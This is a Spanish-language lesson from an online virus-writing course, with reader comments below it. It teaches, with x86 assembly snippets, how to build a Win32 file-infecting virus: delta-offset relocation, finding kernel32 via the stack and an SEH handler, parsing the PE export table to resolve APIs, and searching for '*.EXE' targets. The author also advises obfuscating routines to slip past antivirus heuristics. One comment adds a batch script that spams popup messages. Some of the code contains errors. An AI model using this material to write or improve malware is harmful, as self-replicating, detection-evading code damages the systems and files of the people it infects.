Curso de programación de virus - Infección bajo Windows I

13 - Infección bajo Windows I

[editar]
Curso gratis creado por Wintermute.
22 de Febrero de 2006

Introducción

Bueno, aviso que esta entrega va a dar mucha cañita... reescribo este apartado de introducción cuando aún no he acabado el apartado 7.1.3, y ya me doy cuenta de que estoy metiendo una cantidad de conceptos bestial en un sólo tutorial; pero yo ya lo avisé eh ;-). Primero empezamos con una descripción de lo que es el Delta Offset (necesario para cualquier SO), luego con cómo sacar las funciones de la API de Windows, y de ahí al infinito y más allá xD. La parte de infección en sí, no obstante, tiene el apartado 7.2 para ella solita.

El "Delta Offset"

El Delta Offset no es una técnica que vayamos a necesitar sólo bajo Windows, sino en general con cualquier entorno en el que queramos programar un virus. Surge debido a cierto problema al que es la solución más sencilla.

Cuando uno coge tan feliz y compila su programa en ensamblador todo va con suerte perfecto, sí, pero... cuando en nuestro código hacemos una referencia a una etiqueta para coger datos, como mov eax,[datos], pues en la primera generación va bien, ¿por qué? Pues porque "datos" se codifica como por ejemplo 0401444h, con lo que cuando accedemos a [datos] en realidad lo que hay codificado al compilarlo es mov eax,[0401444h]. Esto, se debe a que el programa va a ser cargado en una determinada región de memoria (una común es 0400000h), con lo que el compilador que genera el ejecutable presupone que el lugar "datos" siempre va a estar en el mismo sitio.

Eso sería cierto, de no ser porque si infectamos un archivo vamos a estar en un desplazamiento diferente, con lo que si se repite ese "mov eax,[datos]", en la dirección 0401444h puede haber cualquier cosa. Incluso aunque también se hubiera iniciado el programa infectado en la dirección 0400000h, nuestro "datos" podría estar en cualquier lado, por ejemplo 0409123h. Ahí tenemos el problema, que acceder a datos (porque esto sólo sucede con datos que referenciamos con etiquetas pero NO con saltos tipo JMP o condicionales, o CALLs) se nos hace un poquito difícil así, y si símplemente dejamos el "mov eax,[datos]" pues el virus va a reventar en cuanto infecte su primer archivo.

Ahora bien, como digo existe una solución bastante sencilla, aunque nos va a dejar ocupado uno de los registros de forma permanente, que es esta técnica del Delta Offset. La base, es averiguar el desplazamiento relativo al inicio del virus respecto al desplazamiento en el fichero original, y sumarlo siempre que se haga una referencia a datos dentro del propio virus. Sí, suena muy complicado así que pongamos código:

call Delta Delta:

pop ebp

sub ebp,Offset Delta

Tan sencillo como eso. Cuando hacemos un call al offset Delta, lo que estamos haciendo en realidad es guardar en la pila el valor de ese offset; es decir, que si Delta estuviera en 0401003h, el pop ebp daría ese valor el registro ebp. Así, en la primera generación del virus (es decir, recién compilado), su valor será ebp = 0. Que por cierto, este inicio típico es una forma perfecta para detectar la mitad de los virus que hay para Windows sin más herramienta que el Turbo Debugger (si las primeras líneas hacen algo equivalente a esto, malo malo).

Ahora, supongamos que hemos infectado un archivo y que por tanto en él lo primero que se ejecuta son las tres líneas de código introducidas anteriormente. Pues bien el valor de ebp ahora va a ser el de (Delta actual - 0401003h). Esto, indica la diferencia que hay positiva o negativa entre el lugar de una posición de memoria al principio (cuando Delta era 401003h) y ahora. Es decir, si ahora Delta estuviera en 0401013h, ebp valdrá 10h (y esto será válido sea cual sea el valor actual de Delta, pues la órden (sub ebp, Offset Delta) ya tiene codificado Delta = 0401003h en el compilado original).

Por tanto, para acceder a cualquier dato referenciado por una etiqueta dentro de nuestro código, en lugar de hacer un mov eax,[valor], haremos un mov eax,[valor+ebp] lo cual corregirá ese movimiento de dirección base dejándonos pues que el virus funcione sin problemas se cargue donde se cargue.

Evidentemente, ni es necesario hacerlo en ebp ni exáctamente de esta forma; si bien parte de la creatividad de un escritor de virus se encuentra en desarrollar nuevas técnicas de infección o agujeros en sistemas operativos, quizá la más importante es la de jugar con el código ensamblador a su gusto. En este ejemplo, las líneas de código que he puesto serán detectadas por la mayoría de los engines heurísticos de antivirus como "posible virus", puesto que los programas normales no hacen eso. Una inmensa parte de la creatividad por tanto al programar un autorreplicante consiste en montarte tus propias maneras de escribir rutinas de formas extrañas o poco reconocibles, o símplemente variadas para que no sean reconocidas al instante por un antivirus.

Para acabar este extenso apartado dedicado al Delta Offset, pongamos un ejemplo distinto de cómo hacerlo; eso sí, esta vez no explicaré cómo funciona, esto lo dejo como ejercicio mental ;-)...

call Delta Delta:

mov esi,esp

lodsd

add dword ptr ss:[esi], (Continuar - Get_Delta)

sub eax,offset Real_start

ret Continuar:

mov ebp,eax ; Sí, el Delta Offset estaba en eax ;-)

El problema de las APIs

Llamar a la API del sistema, que invariablemente vamos a tener que utilizar, no es tan sencillo en un sistema como Windows como lo es en Linux y Ms-Dos. En estos dos últimos basta con una llamada a una interrupción, pero en Windows la cosa se pone difícil. Como recordaréis en el capítulo V cuando hablamos sobre API en distintos SO (este es un buen momento para mirarlo otra vez), bajo sistemas Win32 la forma de llamar a las funciones de sistema es empujando los parámetros y llamando a una dirección de memoria. Es decir, que normalmente la llamarías con algo como esto:

extrn MessageBoxA: proc

Inicio:

push MB_ICONEXCLAMATION

push offset Titulo

push offset Texto

push NULL

call MessageBoxA Titulo: db 'Titulo de la ventana',0 Texto: db 'Contenido de la ventana',0

Es decir, que para hacer la llamada vamos a tener que empujar una serie de valores en la pila (en este caso el icono de la ventana, offset del título y el texto y un valor NULL que indica el tipo de botones que va a tener, en este caso sólo uno de "aceptar") y luego hacer un call a "MessageBoxA", es decir, a la función de la API encargada de imprimir el texto.

Sin embargo, quizá os habréis dado cuenta de que a nosotros este sistema no nos va a servir, por el mismo motivo por el que necesitábamos el Delta Offset. ¿Cómo funciona el tema de las API en Windows? Bien, nosotros programamos algo como esto, y al compilarse en el ejecutable hay una "tabla de importaciones" que indica qué funciones y de qué DLLs se van a utilizar. Efectivamente, las funciones a las que llamemos, que si MessageBoxA, que si ExitProcess, que si CreateFileA, todas se importan de DLLs de Windows; precisamente, es que la utilidad de las DLLs es la de proporcionar estas APIs a programas que lo soliciten.

La mayor parte de las APIs que vamos a utilizar se encuentran en un sólo fichero, que encontraréis en vuestro directorio C:\Windows\System. Este fichero, se llama Kernel32.DLL y contiene la mayor parte de funciones referentes a funciones I/O como acceso a ficheros, directorios, etc; de hecho, es bastante probable que nos sobre con esta librería de cara a escribir un virus para Windows.

Así pues, la librería Kernel32.DLL cuando es importada por un ejecutable suele cargarse en una dirección por defecto. La común en un Windows95 o 98 es la dirección 0BFF70000h (no se si pongo una F de más o de menos xD), aunque dependiendo de la versión de Windows esto puede variar. También, la dirección de cada función va a variar, según versiones del propio Windows (ya se sabe, como tienen tantos bugs de vez en cuando sacan revisiones de sus versiones, y si esas nuevas versiones tienen un Kernel32.DLL de distinto tamaño la dirección de la función será distinta).

El caso es que NO podemos asegurar que por ejemplo la dirección de MessageBoxA va a estar siempre en el mismo sitio; es bastante probable que si llamáramos a MessageBoxA por su dirección física, en cuanto el virus esté en un ordenador diferente de un error de esos realmente horribles.

Existe una función de Kernel32 llamada GetProcAddress que nos va a decir cuál es la dirección física de la función que buscamos. De hecho, a esta función se le llama así:

FARPROC GetProcAddress ( HMODULE hModule, // handle to DLL module LPCSTR lpProcName // name of function );

Sé que cada vez que hablo hago que suene más complicado O:), pero vamos a joderla un poquito más. Los parámetros (esto lo acabo de cortar/pegar del fichero Win32.hlp, que os aconsejo que busquéis por Internet o en el SDK de Microsoft, puesto que describe la mayoría de las funciones importantes) son dos; un puntero (eso que pone lpProcName) a un nombre de una función de la que queremos obtener su dirección, y un handler, "hModule", que se refiere a la propia DLL.

Ahora la pregunta es, ¿qué coño es ese handler? Es decir, vale, yo empujo a la pila un puntero a "MessageBoxA", pero, ¿qué uso como handler?. Pues bien, el handler es el resultado de otra API, GetModuleHandle, que vemos a continuación:

HMODULE GetModuleHandle( LPCTSTR lpModuleName // address of module name to return handle for );

Así pues, para poder obtener el handler que hay que utilizar en GetProcAddress, tendremos que llamar a GetModuleHandle pasándole como parámetro un puntero a una cadena de texto en la que ponga "db 'KERNEL32.DLL',0".

Pero algunos se habrán dado cuenta ya de que aquí hay algo que falla y que esto es un poco como lo de qué fue primero, si el huevo o la gallina. Antes he dicho que el motivo para usar GetProcAddress es que las direcciones varían según subversiones de Windows; sin embargo, GetModuleHandle es una API que también pertenece a Kernel32.DLL. ¿Entonces? ¿Qué pasa, que estamos como al principio? Pues en cierto modo sí, y en cierto modo no.

Está claro que estamos en un círculo cerrado en el que no hay dios que obtenga la dirección de una API. Pero como el Laberinto siempre te da una oportunidad (Haplo rulez, yo me entiendo xD), efectivamente hay no sólo una sino más de una formas de obtener estas direcciones de funciones de la API. La más evolucionada y que ahora se utiliza más es algo compleja, pero al tiempo hermosa ;-), y creo que es la que debo explicar.

Obteniendo las APIs

Bien, ya me he pasado un apartado entero exponiendo problemas, ahora vamos a hablar de soluciones. Lo primero que podemos saber, es que el Handler que hay que meterle a GetProcAddress para que nos diga direcciones de funciones resulta ser exáctamente la dirección base a partir de la cual está cargada en memoria la librería Kernel32.DLL. Dado que en Windows 95 y 98 va a ser con toda probabilidad la misma, esa 0BFF70000h, la solución más sencilla y que se ha estado utilizando un buen tiempo, es tan sencilla como hacer:

lea eax, [NombreFuncion+ebp] push eax push 0BFF70000h call GetProcAddress

Pero no, esta no es una gran solución (seguimos sin tener la dirección de GetProcAddress, ¿verdad?). Bueno, pues entonces la aproximación como digo "vieja" es buscar dentro del código de Kernel32.DLL (que al fin y al cabo está en 0BFF70000h) la dirección física de GetProcAddress. Luego explicaré un poco cómo encontrarlo (puesto que la DLL es un ejecutable de Windows normal, y está en memoria completo), pero de momento la aproximación de coger 0BFF70000h como standard no es buena puesto que puede variar.

Ahora pensemos un poco "hacia atrás". Cuando nuestro virus se ejecute, esto es resultado de que se está ejecutando un fichero. ¿Y qué función de la API de Windows hace que se ejecute un fichero? Pues una que se llama CreateProcess. Coño, si CreateProcess está en Kernel32.DLL, que cosas, ¿verdad?. Pues justo, por ahí vamos a hacernos a la idea de dónde está el Kernel32.DLL independientemente de dónde estemos. Pensad que para ejecutar CreateProcess el código de Windows hace algo como esto:

call Kernel32.CreateProcess

Hmmmm sí, fijaos que es un call como los que nosotros usamos. Y por unas casualidades de la vida, el último call que llama al programa ejecutable, se está haciendo desde Kernel32.DLL. Un call lo que hace es empujar a la pila el valor del registro EIP actual, ¿verdad?. Y además, como nuestro virus es lo primero que se ejecuta al arrancar un programa... ¿os imáginais donde se encuentra la dirección de retorno de ese último CALL? Voilá, precisamente en ss:[esp+8h], casi justo en la pila (los dos primeros valores son puntero a argumentos pasados al programa y nombre del programa),... así de majos que son los del Windows que nos lo dejan a tiro xD.

Vale, el valor que encontramos ahí no va a ser exáctamente el valor que estamos buscando, la dirección base sobre la que se ha cargado Kernel32.DLL y que nos daría el GetModuleHandle. Sin embargo y dado que Kernel32.DLL es un ejecutable como cualquier otro, sabemos que tiene una cabecera de ejecutable; esto significa por tanto que al principio tiene que haber una cadena de texto "MZ" que indique el principio del ejecutable (como nota histórica, se dice que estas iniciales, también presentes en ejecutables de Ms-Dos, se deben a que el autor del formato EXE era un programador llamado Mark Ziblowsky).

En fin, que en caso de que estéis en un Windows 95 o 98 lo más probable es que la dirección ahí encontrada sea algo tipo 0BFF9A173h, por poner un ejemplo (esta dirección ejemplo es 0BFF70000h + 2A173h, sería que la función CreateProcess se encuentra en esa dirección).

En cualquier caso, tener algo como 0BFF9A173h es mucho mejor que no tener nada si tu virus no sabe si está en Win95, en NT o en qué otro de tantos sistemas Windows. Pero eso sí, ¿cómo cohone sacamos ahora de algo como eso la dirección base de la DLL?. Pues bien, el método más práctico es, si tenemos en EAX ese valor, hacer un bucle como este:

and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ' jnz Bucle

¿Qué estamos haciendo con esto? Bien, lo primero es cargarnos las tres últimas cifras del numerajo que nos han dado, así en nuestro ejemplo tendríamos 0BFF90000h. Así, le restamos 10000h y buscamos 'MZ'. Si estamos en Win95/98 no será así, con lo que el jnz Bucle actúa y volvemos. Ahora, sub eax,10000h lo convierte en eax = 0BFF70000h. Y efectivamente, ahí está el MZ y tenemos la dirección base del Kernel32.DLL.

Bueno, se me ha olvidado un pequeño problemilla por el que nos puede petar también, pero es que las cosas una a una xD. Resulta que como dijimos en el primer o segundo capítulo de este curso de virus, Windows, como todo sistema operativo más o menos "actual", funciona por páginas de memoria de un determinado tamaño, de las que a algunas tenemos acceso de escritura y/o lectura, y algunas no. ¿Cuál es el problema? Que si accedemos a una página de memoria a la que no tenemos permisos de lectura, el Windows se nos va a cabrear y nos dirá MEEEEEEEEEEEC!!!!!!!!! MAAAAAAAAAAAAAAAAAL!!!!!!!, el programa se va a parar y va a cantar un poquito que hay un virus y tal xD.

Ahora, para solucionar esto (joder la verdad es que estoy metiendo cañita en esta entrega, ¿eh? x)) tenemos que pensar, ¿qué pasa cuando el Windows se cabrea y dice que muy mal porque has intentado leer desde donde no tenías permiso? Pues que se genera lo que se llama una excepción de fallo de página. Una excepción, si recordáis, es una especie de interrupción a la que llama el sistema operativo cuando pasa algo raro; por ejemplo, existe la excepción de división por cero, la de fallo de página y otras cuantas.

Por tanto, y dado que Windows nos lo deja fácil puesto que podemos tocar las rutinas de manejo de excepciones, pues nosotros mismos podemos solucionar este problema. Para ello, toquetearemos una estructura llamada Structured Exception Handler (SEH). Y como sigo pensando que nada como un poco de código, veamos este:

SEH: xor edi,edi ; edi = 0 push dword ptr fs:[edi] mov fs:[edi],offset SEH_Handler mov eax,dword ptr ds:[esp+8] and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ' jnz Bucle > SEH_Handler: mov esp,dword ptr ds:[esp+8] ; Restaurar pila jmp Bucle

Ay la ostia pero que es todo esooooooo vale ahí vamos. Del SEH, Structured Exception Handler, nos va a interesar un puntero que se encuentra en la dirección de memoria fs:[0]. Para ello hacemos edi = 0, y empujamos a la pila el valor que hay en fs:[edi], o sea, en fs:[0]. Luego, colocamos en fs:[0] el offset de nuestro handler, con lo que a partir de ahora cada vez que se produzca una excepción de esas que nos joden, pues el control pase a la rutina "SEH_Handler". El único modo de que se produzca una excepción es, como he dicho, que accedamos a una página de sólo lectura, lo cual sólo puede pasar cuando ejecutamos la instrucción "cmp word ptr [eax],'MZ'". Lógicamente y dado que para Kernel32.DLL tenemos permiso de lectura, si peta es que no estamos en él con lo que lo mejor es que sigamos restando 10000h y mirando de nuevo si coincide el MZ. Por eso, la rutina de SEH_Handler consiste primero en restaurar la pila como estaba antes (acción tipo aqui-no-ha-pasao-ná), y de nuevo saltar al Bucle para que siga haciendo sus cosillas.

Por supuesto, después de hacer esto tendremos que restaurar el SEH original y esas cosas; no tendremos más que popearlo a fs:[0] de nuevo. Por cierto, hay una forma más elegante de hacer todo esto con un call que deja en [esp] la rutina del SEH_Handler pero he preferido que se entienda antes de optimizar y tal. Cosa vuestra sacarla ;-).

En fin, que después de toda esta movida ya tenemos la dirección base de Kernel32.DLL. Vale, ha sido un esfuerzo bastante grande pero merece la pena y ahí la tenemos con nosotros. La única pena es que ni siquiera acabamos de empezar, puesto que todavía nos queda encontrar la dirección física de GetProcAddress. Pero aunque no os lo creáis, lo que queda es sencillo con una buena referencia a mano como el libro de Matt Pietrek (Windows Programming Secrets) que recomiendo a todo el que se quiera meter a sako en virus para Windows... el tío es el amo xDDD, es un texto a bajo nivel sobre Windows que habla desde procesos a formato de ficheros a... yoquesé... por cierto que es raro de encontrar y creo que ya no se imprime, pero al menos la parte de formato ejecutable de Windows (un capítulo entero) está circulando gratis por Internet así que buscando por Matt Pietrek y el título del capítulo (The Portable Executable and COFF OBJ Formats), lo encontráis fijo. Me parece que voy a poner hasta una mini-bibliografía al final de este capítulo, porque documentación para Windows si bien es escasa la que hay es como oro en paño...

Bueno, mis comentarios de pelotilleo barato a Matt Pietrek os han dejado descansar unos segundos valiosos para tomar aire, pero ahora, formato PE en mano (PE, Portable Ejecutable, exes de Windows), vamos a ver de donde sacamos ese maldito GetProcAddress que tanto nos está costando ya que al menos sabemos que handler pasarle.

Vale, pues empezamos explicando una cosa graciosa sobre los ficheros PE en Windows. Para empezar, su cabecera "básica" es la misma que la de un EXE de Ms-Dos, ¿por qué? Pues por compatibilidad hacia atrás. Así si ejecutas en Ms-Dos un fichero de Win32, te saldrá el mensaje de "Que no, que no tienes Windows". La parte que imprime eso se llama "Dos Stub", y como Windows está muy optimizado, cuando carga una DLL o un ejecutable en memoria no se olvida de cargar también este Dos Stub aunque no sirva para nada.

El caso es que como vimos antes, un PE empieza por la cadena MZ, la de los antiguos ejecutables. Lo interesante es que cuando se trata de un PE, en el offset 03eh respecto al principio de la cabecera PE tiene una RVA al inicio de la cabecera PE real. Jejeje, si, una "RVA". Ale, otro término a explicar: RVA significa Relative Virtual Address, o sea, que es una dirección relativa respecto al principio del programa. En pocas palabras, que si la base del Kernel32.DLL era 0BFF70000h y una RVA dentro de él dice "1111h", lo que tendremos que hacer será sumar esa dirección base y la RVA, haciendo 0BFF71111h en este caso.

Así pues, en el offset 03ch tenemos la RVA a la cabecera PE, en este caso del Kernel32.DLL dado que estabamos buscando la dirección de la dirección virtual de GetProcAddress. El inicio de la cabecera PE (podemos comprobarlo pero no hace falta, Kernel32.DLL fijo que es un fichero PE ;) ) está formado por las letras PE y dos bytes a cero (PE\0\0). A partir de aquí, es desde donde vamos a encontrar la dirección que tanto ansiamos.

No voy a explicar - de momento porque no os libráis - como está organizado un PE. De momento, lo que necesitáis saber, es que en el inicio de la cabecera PE+78h tenemos justo la RVA de la sección de exportaciones del fichero PE. ¿Que para qué queremos la sección de exportaciones? Pues porque allí hay una lista muy maja de las funciones que exporta Kernel32.DLL, entre las cuáles está GetProcAddress. Así que cogemos lo que hay en PE+78h y como es una RVA pues se lo sumamos a la dirección base del kernel, con lo que guay, ya tenemos acceso a la tabla de exportaciones.

¿Lo siguiente? Pues bueno, vamos a llamar .edata al lugar al que apuntaba esta RVA. Además la sección de exportaciones se llama .edata siempre así que queda mejor de esa forma. Pues bien, en [.edata+20h] tenemos otra RVA (y van...) que esta vez es lo que llamamos el "AddressOfNames", que es una lista de RVAs, cada una al nombre de una API. Por supuesto, a cada RVA hay que sumarle la dirección base del Kernel32.DLL...

Veamos lo que hemos estado haciendo con un dibujo, que se entenderá mucho mejor:

O sea, que con la RVA en MZ+3ch hemos visto un sitio en el que en 78h tenemos otra RVA, esta vez a la tabla de exportaciones, y su AddressOfNames nos lleva a otra lista de RVAs de las cuales cada una apunta a un nombre. Bien, ahora resulta fácil pensar lo que tenemos que hacer, ¿verdad?. Tenemos que coger esa lista de RVAs y comprobar los nombres hasta que demos con uno que sea "GetProcAddress". La cosa es algo más complicada y vamos a tener que tirar de AddressOfOrdinals y AddressOfFunctions, pero de momento no vamos mal con esto.

Así pues, lo indicado en el dibujo unido a la comparación de los nombres se puede hacer en un listado ensamblador como el siguiente:

; EDI tiene la dirección a MZ, o sea, a la base de kernel32.dll mov eax, dword ptr ds:[edi+03ch] add eax, edi ; añadimos edi por lo de la RVA, recordemos mov esi, dword ptr ds:[esi+078h] add esi, edi ; ahora ya tenemos la sección de exportaciones mov edx, dword ptr ds:[esi+020h] xor ecx, ecx Bucle: mov eax, dword ptr ds:[edx] add eax, edi cmp dword ptr ds:[eax],'PteG' jnz NoLoEs cmp dword ptr ds:[eax+4h],'Acor' jnz NoLoEs cmp dword ptr ds:[eax+8h],'erdd' jnz NoLoEs jmp Cojonudo ; Llegamos a NoLoEs si el nombre no coincide NoLoEs: add edx,4h ; para apuntar al siguiente RVA de la lista inc ecx jmp Bucle Cojonudo:

Evidentemente hay formas bastante menos bestias de hacerlo que ésta, y recomiendo al programador buscarla... y ahora, llega la parte divertida, ¿pa que coño vale esto si yo ya me sabia el nombre? Vale lo he encontrao soy la ostia pero esto no me vale pa ná. Pues sí, si que vale; si miráis el código de antes hay algo que no sabréis a qué viene, y es la modificación sobre ECX... que se incrementa cada vez que fallamos. ¿Por qué lo estamos incrementando? Ah amigo, ahí está la madre del cordero.

¿Os acordáis de eso llamado AddressOfNameOrdinals? Bueno, voy a explicar ahora al completo cómo se saca la dirección de función de la API, de cualquier función. Hay que averiguar primero el número la de veces que hemos tenido que recorrer las direcciones de nombres, y ese número confrontado con el AddressOfOrdinals nos va a dar otro bonito número. Cogemos el valor en ECX, lo multiplicamos por dos (rol ecx,1), cogemos la RVA llamada "AddressOfNameOrdinals" que está en [.edata+24h] y lo sumamos todo. O sea, todo no, sumamos la RVA del AddressOfNameOrdinals + base del kernel + ecx*2. En esa dirección vamos a obtener un número, que es el Ordinal de la función, de tamaño Word.

Ahora sí, cogemos la RVA que apunta a AddressOfFunctions que está en [.edata + 1Ch], le sumamos la base del kernel y el número que hemos cogido multiplicado por cuatro (rol reg,2), y justo ahí, está la RVA a la función GetProcAddress. O sea, en código tenemos algo como esto:

; Tenemos en ECX el numero de desplazamientos del bloque de antes. rol ecx,1h mov edx,dword ptr ds:[esi+24h] ;AddressOfNameOrdinals add edx,edi ; edi = base del kernel add edx,ecx movzx ecx,dword ptr ds:[edx] mov edx,dword ptr ds:[esi+01ch] add edx,edi rol ecx,2h ; * 4 add edx,ecx mov eax,dword ptr ds:[edx] add eax,edi ; Ajustamos a la base kernel

Con estas líneas de código, tenemos ya el GetProcAddress, con lo que vamos a poder sacar llamando con CALL a esa función, las direcciones del resto de las funciones de Kernel32.DLL que vamos a necesitar. Os aconsejo que os montéis un bucle que tenga en cuenta el número de funciones que queréis extraer y vaya llamando recursivamente a GetProcAddress de una forma como esta:

; Tenemos en ECX el numero de desplazamientos del bloque de antes. mov dword ptr ds:[GPAddress+ebp],eax push offset direccion + ebp ; direccion del nombre de la función push edi ; La dirección del kernel call GetProcAddress GPAddress equ $-4 direccion: db 'FuncionQueQuiero',0 ; el ,0 es importante :)

Como veis, para llamar a GetProcAddress tenéis que empujar la dirección donde tenéis en vuestro virus cada nombre de la API, luego la dirección base del kernel32.dll y llamar. Ah, se me olvidaba, como veréis con la dirección de la función GetProcAddress lo que hago es moverla a [GPAddress+ebp]. La razón en sencilla, así el resultado se rellena en el call y se puede hacer la llamada a la dirección que acabamos de extraer.

Un último apunte antes de acabar esta sección, es algo que yo me pregunté cuando lo vi y me imagino que vosotros igual... ¿para qué tener un array, o sea, una lista de RVAs de nombres de función, luego una lista de ordinales para relacionar el órden en que están en esa lista con un ordinal y finalmente una lista por número ordinal para acceder a la función? O sea, ¿para qué tres listas cuando podría haberse hecho una sóla con por ejemplo bloques de dos campos que contuvieran la dirección de la función y otro la RVA al nombre de la API?

Evidentemente una solución como la segunda sería más optimizada y más cómoda para el programador, ¿por qué liar las cosas tanto de una forma tan absurda? Pues la respuesta es simple... ¿se os ha olvidado que estamos en Windows?. Windows es así de inútil, así de absurdo... y a quien no le convenzan mis argumentos puede buscar en Internet un fichero llamado dancemonkeyboy.mpg cuyo protagonista es Steve Balmer, presidente de Microsoft.

Y eso que no os cuento cómo se guarda la fecha en los ficheros, que entonces si que ibais a pensar que estos tíos programan de tripi... para el que tenga curiosidad que se mire la estructura FILETIME en Windows (en el famoso Win32.hlp que necesitaréis viene), eso sí, recomendado fumarte unos canutos y mirarlo con algún colega programador y aprovechar así el "momento risas", sobre todo si a partir de eso intentáis hacer código para averiguar cual es la fecha del archivo xDDDDD. Será todo lo Universal Time de Supadre que quieras pero... xDDD

Pero bueno dejemos de meternos con Windows, que es tiempo de buscar ficheros para infectar y además acabo de descubrir una nueva gran funcionalidad dada la maravillosa integración de IExplorer y Windoze, que es que puedes marcar favoritos en tu papelera de reciclaje ^^

A la labor: buscando ficheros

Esto va a ser bastante más simple que todo lo que hemos hecho anteriormente, y nos servirá como un descanso después de esto; las funciones para buscar ficheros son, por suerte, bastante sencillas. Lo único que vamos a tener que indicarle a estas dos funciones, FindFirstFileA y FindNextFileA, es un offset con la máscara del tipo de archivo a buscar. Lo más típico, será que utilicemos algo como '*.exe' para ir buscando los ejecutables del directorio actual.

La cosa es sencilla; una vez que hagamos un FindFirst, usaremos el resto de las veces FindNext hasta que no encontremos nada más (que nos será indicado en lo que nos devuelva en EAX la función). Descripción de las funciones y código:

HANDLE FindFirstFile( LPCTSTR lpFileName, // address of name of file to search for LPWIN32_FIND_DATA lpFindFileData // address of returned information );

El primer parámetro es sencillo, es un puntero al nombre del fichero; el segundo, es un puntero a una estructura interna que tenéis que tener en vuestro programa, un bloque de tamaño SIZE WIN32_FIND_DATA bytes, y con el siguiente formato para acceder a los datos que nos devuelve la llamada:

WIN32_FIND_DATA STRUC

WFD_dwFileAttributes DD ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh DD ? WFD_nFileSizeLow DD ? WFD_dwReserved0 DD ? WFD_dwReserved1 DD ? WFD_szFileName DB MAX_PATH DUP (?) WFD_szAlternateFileName DB 13 DUP (?) DB 3 DUP (?) ; dword padding

WIN32_FIND_DATA ENDS FILETIME STRUC

FT_dwLowDateTime DD ? FT_dwHighDateTime DD ?

FILETIME ENDS

Por cierto, que esto puede meterse en un include :). Aquí código, escrito de forma sencillita:

; Esto para el FindFirst lea eax,[Find_Win32_Data+ebp] push eax lea eax,[Search_File+ebp] push eax mov eax,dword ptr [API_FindFirst+ebp] call eax ; Esto para FindNext (por ejemplo) lea eax,[Find_Win32_Data+ebp] push eax push ebx mov eax,dword ptr [API_FindNext+ebp] call eax Search_File: db '*.EXE',0 ; Para encontrar solo EXEs ;)

Y en fin, con más código que explicaciones (al fin y al cabo esto ya no es tan complicado ¿no? sólo es una estructura sobre la que se escriben los resultados de las llamadas), ya tenemos escrita la base mínima de un virus para Win32.

[editar]

110 opiniones

q buena

pues tios les digo q lo aprendan por que por ejemplo si hacen un viruz pero lo hacen con lo que es ensamblador pues asi el tio formatee su pc seguira infectado ademas es recomendado si piensan en conocimiento i en aprender mas de esto


salu2
Duda.

Sacado de: "2 - estructura de computadores"
"dado que los ejemplos nunca sobran, veamos una instrucción como cmp ac, 12. Una vez llegue tras la fase de fetch a la unidad de control, de nuevo se utilizará la alu; en esta ocasión se la indicará mediante señales de control que realice la operación de resta (sub), metiendo por un lado el 12 y por otro el registro ac"

¿por qué hará la operación sub? ¿no sería menos costoso hacer la operacion xor?
¿si el resultado de aplicar dos oprendos a xor da 0 implica que son el mismo número, no?

un saludo!.
Falta pewrsec.

Probe ensamblar el codigo del primer ejemplo pero no encuentra las referencias a las funciones de las apis no existe mas la web donde estan los recursos http://www.oninet.es/usuarios/darknode

me parece muy bueno el curso. Es imposible encontrar algo de ensamlador de 32 bits en español. Entiendo ingles pero ya me produce nauseas tener que leer en ese idioma todo la informacion sobre programacion. Lo unico que le falta es que el autor le de una actualizacion (revision).
Buenisimo.

En realidad me encanto el curso,a demas entendible. Y eso que apenas yo estoy aprendiendo sobre estos temas, pero vaya esta muy claro. Muchas gracias por su ayuda.
Virus.

Pues aqui hay un virus:
abres block de notas y pones lo siguiente:
@echo off
echo... :adcc
msg * adcc=windows_live_447@hotmail.com
goto adcc
se guarda en. Bat
ej: hola. Bat.
1 2 3 4 5 6 7 ... 22 | siguiente >

Cursos gratis relacionados con 'Curso de programación de virus'

La meta de este curso es el aprendizaje de métodos en programación, tanto en teoría... Más »
Completo curso acerca de los virus informáticos, historia, clasificación, protección...
Completo curso de lenguaje ensamblador.
En este glosario, lo primero que se ha de definir es la palabra HACKER ya... Más »
Curso de introducción al Comercio Electrónico.

Autor y licencia de 'Curso de programación de virus'


Curso gratis de Wintermute. Extraido de: CopyLeft
Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.
Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.